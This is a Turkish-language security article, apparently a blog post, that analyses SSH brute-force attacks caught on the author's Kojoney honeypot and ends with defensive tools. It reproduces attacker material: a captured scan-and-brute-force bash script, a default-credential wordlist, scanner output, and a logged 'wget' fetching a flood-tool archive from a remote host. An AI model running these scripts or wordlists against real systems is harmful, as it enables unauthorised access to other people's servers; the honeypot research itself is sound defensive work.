Hedef: SSH

Etiketler:

İster çok kullanıcılı bir sunucu sistemi olsun, isterse ev kullanıcısının kullandığı bir sistem olsun, eğer sistem SSHi hizmetine sahipse bu servise yönelik(22. port[standart]) saldırıların sayısı pek de az değildir. SSH servisine yönelik bu saldırıların çoğu brute-force türündendir. Sisteme yönelik bu saldırıların temel amacı olası kullanıcı adı ve şifrelerini deneyerek sisteme sızma girişimidir. SSH,
kullanıcının sisteme güvenli bir şekilde giriş yapmasını sağlar. Amaç, kullanıcı ile sistem arasındaki veri alışverişinin şifreli olarak gerçekleşmesidir. Telnet servisinin yerini SSH alarak güvenli veri alışverişi olanağı sunar.

Ağa sızan bir kişi telnet hizmetini kullanan sisteme yönelik tüm şifreleri bir paket koklayıcısıyla (Sniffer) ele geçirme olasılığı çok yüksektir. SSH hizmetiyle bu oran en aza indirgenmiştir. Bu hizmet sayesinde kullanıcıya ait tüm veriler güvenli bir şekilde hedefine ulaşır. Fakat kullanıcının zayıf parola kullanma olasılığı artıkça SSH ataklarının sonuca ulaşma yüzdeside o derecede artmış olur. SSH servisi güvenli bir iletişim olanağı kullanıcıya verse de kullanıcı kaynaklı hatalar sonucu sistem tehlikeli konuma gelir. SSH ataklarının başarılı olması, sistemde herhangi bir kullanıcının şifresi tahmin edilebilirliğinin kolay olup olmamasına bağlıdır. Sisteme kayıtlı bir kullanıcıya ait şifrenin tahmini kolay olması saldırganın sisteme sızmasını kolaylıkla gerçekleştirir ve diğer kullanıcıların güvenliğini dolayısıyla sistemin bütünlüğünü bozmak için bir etmen olur.
SSH servisi açık olan bir sistemin kayıtları(örn: /var/log/secure) incelendiğinde sisteme çok sayıda kullanıcının giriş yapmaya çalışmasının temel nedeni SSH Brute-Force tipi ataklar olduğu anlaşılır. Kayıtlar incelendiğinde sisteme kayıtlı kullanıcıların dışında bir çok adın sistem
üzerinde denendiği görülür. Bir çok ismin bir tek IP adresinden geldiği net bir şekilde fark edilir.

 SSH

SSH atak şeması

Sistem kayıtlarında hatalı giriş yaptığı tespit edilen kullanıcılara örnek verirsek:

Invalid Users:Unknown Account: 401 Time(s)Authentication Failures:unknown (c201234241-50.xxx.com.co ): 1 Time(s)squid (59x159x192x35.ap59.xxx.ucom.ne.jp ): 2 Time(s)adm (59x159x192x35.ap59.xxx.ucom.ne.jp ): 3 Time(s)ftp (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)postfix (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)amanda (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)postgres (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)smmsp (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)mail (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)pvm (59x159x192x35.ap59.xxx.ucom.ne.jp ): 3 Time(s)unknown (59x159x192x35.ap59.xxx.ucom.ne.jp ): 400 Time(s)apache (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)root (59x159x192x35.ap59.xxx.ucom.ne.jp ): 42 Time(s)webalizer (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)news (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)nobody (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)sync (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)desktop (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)named (59x159x192x35.ap59.xxx.ucom.ne.jp ): 1 Time(s)Failed logins from these:account/password from 59.xxx.35: 2 Time(s)accounts/password from 59.xxx.35: 1 Time(s)adm/password from 59.xxx.35: 3 Time(s)admin/password from 59.xxx.35: 7 Time(s)admission/password from 59.xxx.35: 3 Time(s)ajay/password from 59.xxx.35: 2 Time(s)alan/password from 59.xxx.35: 1 Time(s)alex/password from 59.xxx.35: 1 Time(s)alumni/password from 59.xxx.35: 3 Time(s)amanda/password from 59.xxx.35: 1 Time(s)andy/password from 59.xxx.35: 1 Time(s)anonymous/password from 59.xxx.35: 1 Time(s)antonella/password from 59.xxx.35: 1 Time(s)apache/password from 59.xxx.35: 1 Time(s)Illegal user test from 201.234.241.50Illegal user guest from 59.xxx.xxx.35Illegal user guest from 59.xxx.xxx.35Illegal user admin from 59.xxx.xxx.35Illegal user admin from 59.xxx.xxx.35Illegal user admin from 59.xxx.xxx.35Illegal user admin from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user tester from 59.xxx.xxx.35Illegal user test from 59.xxx.xxx.35Illegal user testtest from 59.xxx.xxx.35Illegal user tester from 59.xxx.xxx.35Illegal user testing from 59.xxx.xxx.35Illegal user testing from 59.xxx.xxx.35Illegal user carl from 59.xxx.xxx.35Illegal user carla from 59.xxx.xxx.35Illegal user carlos from 59.xxx.xxx.35Illegal user carmen from 59.xxx.xxx.35Illegal user carol from 59.xxx.xxx.35Illegal user carolina from 59.xxx.xxx.35

Örneğini verdiğim sisteme yönelik bu kullanıcı/şifre denemeleri sonucu sisteme giriş yapmayı başaranların gerçek amacı nedir?
Hem evimdeki bilgisayar olsun gerekse işyerimdeki bilgisayar olsun bu tür kullanıcı/şifre denemelerine tanık olunca bazı incelemelerde bulundum. Bu soruyu yanıtlamak için çeşitli uygulamalarla(örn: kojoney) araştırmalar yaptım. Sisteme çeşitli kullanıcılar ekledim.
Bu kullanıcıların şifreleri kolay bulunabilir türdendi. Örneğin; Kullanıcı: admin Şifre: admin.
Gerçek sistemde bash-log patch ve Kojoney ssh honeypot ile saldırganın sistem üzerinde yapmak istediklerini takip edebildim.
Sisteme giriş denemeleri genellikle yurtdışı tabanlıydı. Büyük ihtimal kullandıkları bu makineler saldırı sonucu ele geçirdikleri sistemlerdi. SSH atakları sonucu giriş yapanların çoğu sistemi DDoS sistemi haline getirmeye çalıştı. Sisteme, giriş yaptıktan sonra bazı DDoS/Flood araçları yüklemeye çalışıldı. Bir kesimi irc bot yüklemeye, bir kaç kişi ise sistemde root yetkisine sahip olmak için exploitler denedi.

2006/10/25 15:56 EEST [SSHChannel session (0) on SSHService ssh-connection on SSHServerTransport,47,82.x.167.107] COMMAND IS : passwd
2006/10/25 15:57 EEST [SSHChannel session (0) on SSHService ssh-connection on SSHServerTransport,47,82.x.167.107] COMMAND IS : ls
2006/10/25 15:57 EEST [SSHChannel session (0) on SSHService ssh-connection on SSHServerTransport,47,82.x.167.107] COMMAND IS : w
2006/10/25 15:57 EEST [SSHChannel session (0) on SSHService ssh-connection on SSHServerTransport,47,82.x.167.107] COMMAND IS : chmod +x *
2006/10/25 15:57 EEST [SSHChannel session (0) on SSHService ssh-connection on SSHServerTransport,47,82.x.167.107] COMMAND IS : ls
2006/10/25 15:57 EEST [SSHChannel session (0) on SSHService ssh-connection on SSHServerTransport,47,82.x.167.107] COMMAND IS : wget xxx.yyy.net/ALLflood.tgz

Yukarıda Kojoney SSH Honeypot ile elde ettiğim bir kayıt görülmektedir. Saldırgan önce giriş yaptığı kullanıcının şifresini değiştirmeye çalışmış ve sonrasında istediği bir programı sisteme aktarma teşebbüsünde bulunmuş. Aktarmaya çalıştığı bu uygulama içinde çeşitli DoS türü saldırı araçlarını barındırıyor.
ALLflood.tgz dosyası içinde:
broadcast.tgz
gr
killer
mad
overdrop
sl2
sl3
smurf
stealth
stream
stream_c.c
v
vadim
z0b

görüldüğü gibi birden fazla saldırı araçı bulunmaktadır. Buradaki temel amaç ele geçirilen sistemler DoS atakları için kullanılıyor.
Bu genellikle SSH servisine saldırıyı gerçekleştiren kişi yada kişilerin düşüncesine göre değişiyor.

SSH servisine kullanıcı/şifre denemeleri yapan saldırı araçları bünyesinde birden fazla uygulama barındırır. Tek bir koddan oluşan SSH atak araçları mevcutsada bunlar pek kullanılmaz. IP tarama işlemini ve kullanıcı/şifre denelemelerini farklı kodlarla yapan araçların
kullanım çoğunluğu daha fazladır. Bu türdeki bir saldırı aracını incelediğimizde 4-5 parçadan oluştuğunu görürüz.
Örneğin:
a
auto
brute
ip.conf
scan
scan.conf
start
vuln.txt

isimlerini verdiğim bu parçalar tek bir çatı altında toplanmıştır. Önce SSH Servisi kullanan IP adresler taranır. Sonra tespit edilen IP adresler bir dosyaya kaydedilir. Bu IP adresler üzerinde kullanıcı/şifre denemeleri başlar. Şifreleri bulunan kullanıcılar ve bulunduğu Ip adresleride ayrı bir dosyaya kaydedilir.
Tarama işlemini gerçekleştiren örnek bir betik:

eregli-linux:/home/honeypot/ssh$ cat auto#!/bin/bashif [ -f ip.conf ]; thenrm -f ip.conf 1>/dev/null 2>/dev/nullfiif [ $# != 1 ]; thenecho "# usage: $0 <b class>"exit;fi./scan $1 22sleep 10cat $1.pscan.22 |sort |uniq > ip.confoopsnr2=`grep -c . ip.conf`echo "# Found $oopsnr2 servers."echo "----------------------------------------"./brute 100rm -rf $1.pscan.22 ip.conf 1>/dev/null 2>/dev/nullecho "# NEXT

Olası kullanıcı/şifre kombinasyonlarını barındıran bir dosya örneği:

eregli-linux:/home/honeypot/ssh$ cat scan.conflpd lpdlpa lpaadmin admin123admin passwordadmin passwdftpuser ftpuserftpuser 123456ftpuser ftp123ftpuser passwordftpuser passwdftpuser testftpuser test123mailtest mailtestmailtest 123456mailtest passwordmailtest passwdmailtest testmailtest test123testuser testusertestuser 123456testuser passwordtestuser passwdtestuser testtestuser test123sales salessales 123456sales passwordsales passwdsales testsales test123sales sales123postgres postgrespostgres 123456postgres passwordpostgres passwdpostgres testpostgres test123postfix postfixpostfix 123456postfix passwordpostfix passwdpostfix testpostfix test123adm admadm adm123adm adminadm passwordadm passwdadm 123456adm testadm test123student studentstudent 123456student passwordstudent passwdstudent teststudent test123service serviceservice 123456service passwordservice passwdservice test123service testtest testtest test123test 123456test passwordtest passwduser useruser user123user 123456user passworduser passwduser testuser test123guest guestguest guest123guest 123456guest passwordguest passwdguest testguest test123mysql mysqlmysql mysql123mysql 123456mysql passwordmysql passwdmysql testmysql test123ftp ftpftp ftp123ftp 123456ftp passwordftp passwdftp testftp test123oracle oracleoracle 123456oracle passwordoracle passwdoracle testoracle test123info infoinfo info123info 123456info passwordinfo passwdinfo testinfo test123temp temptemp temp123temp 123456temp passwordtemp passwdtemp testtemp test123office officeoffice office123office 123456office passwordoffice passwdoffice testoffice test123public publicpublic 123456public passwordpublic passwdpublic testpublic test123webadmin webadminwebadmin 123456webadmin passwordwebadmin passwdwebadmin testwebadmin test123webmaster webmasterwebmaster 123456webmaster passwordwebmaster passwdwebmaster testwebmaster test123apache apacheapache 123456apache passwordapache passwdapache testapache test123

Örnek bir tarama işlemi:

honeypot@honeypot:~/ssh/web$ ./a xxx.60# Let's see xxx.60 ...# scanning: xxx.60.1.* (total: 0) (0.4% done)xxx.60.255.* (total: 1060) (100.0% done)# pscan completed in 748 seconds. (found 1063 ips)# Found 1063 servers.----------------------------------------# let's see what we got:

 SSH

SSH Scanner

 SSH

SSH saldırının gerçekleştirildiği zaman yakalanan paketler

Bu tür saldırıların engelleme yolu nedir?
Saldırılar çoğunlukla farklı adreslerden gelir. Bu tür ataklardan korunmak için Denyhost, Fail2ban, Sshban, Blokhosts, Blocksshd, Breakinguard isimli uygulamalar kullanılır. Fakat bu tür SSH ataklarının önüne geçmek için en çok tercih edilen yöntem portu yani standart olan 22. portu değiştirmek.

Referanslar:
http://kojoney.sourceforge.net
http://www.openssh.com/
http://www.securityfocus.com/infocus/1876
http://www.aerospacesoftware.com/ssh-kiddies.html

Tacettin KARADENİZ
tacettink[@]olympos.org

__________________________

0